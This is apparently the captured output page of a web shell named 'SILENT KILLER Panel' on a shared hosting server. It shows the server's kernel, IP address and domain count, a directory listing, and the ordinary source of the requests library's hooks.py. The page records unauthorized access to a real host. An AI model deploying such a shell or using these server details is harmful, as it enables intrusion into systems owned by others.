SILENT KILLERPanel

Current Path: > > opt > alt > > python33 > lib > > python3.3 > site-packages > pip > _vendor > requests


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/alt//python33/lib//python3.3/site-packages/pip/_vendor/requests

NameTypeSizeLast ModifiedActions
__pycache__ Directory - -
packages Directory - -
__init__.py File 1856 bytes November 13 2023 21:16:39.
adapters.py File 14608 bytes November 13 2023 21:16:39.
api.py File 4344 bytes November 13 2023 21:16:39.
auth.py File 6123 bytes November 13 2023 21:16:39.
cacert.pem File 308434 bytes November 13 2023 21:16:39.
certs.py File 544 bytes November 13 2023 21:16:39.
compat.py File 2556 bytes November 13 2023 21:16:39.
cookies.py File 16686 bytes November 13 2023 21:16:39.
exceptions.py File 1877 bytes November 13 2023 21:16:39.
hooks.py File 820 bytes November 13 2023 21:16:39.
models.py File 26436 bytes November 13 2023 21:16:39.
sessions.py File 22290 bytes November 13 2023 21:16:39.
status_codes.py File 3136 bytes November 13 2023 21:16:39.
structures.py File 3541 bytes November 13 2023 21:16:39.
utils.py File 19973 bytes November 13 2023 21:16:39.

Reading File: //opt/alt//python33/lib//python3.3/site-packages/pip/_vendor/requests/hooks.py

# -*- coding: utf-8 -*-

"""
requests.hooks
~~~~~~~~~~~~~~

This module provides the capabilities for the Requests hooks system.

Available hooks:

``response``:
    The response generated from a Request.

"""


HOOKS = ['response']


def default_hooks():
    hooks = {}
    for event in HOOKS:
        hooks[event] = []
    return hooks

# TODO: response is the only one


def dispatch_hook(key, hooks, hook_data, **kwargs):
    """Dispatches a hook dictionary on a given piece of data."""

    hooks = hooks or dict()

    if key in hooks:
        hooks = hooks.get(key)

        if hasattr(hooks, '__call__'):
            hooks = [hooks]

        for hook in hooks:
            _hook_data = hook(hook_data, **kwargs)
            if _hook_data is not None:
                hook_data = _hook_data

    return hook_data

SILENT KILLER Tool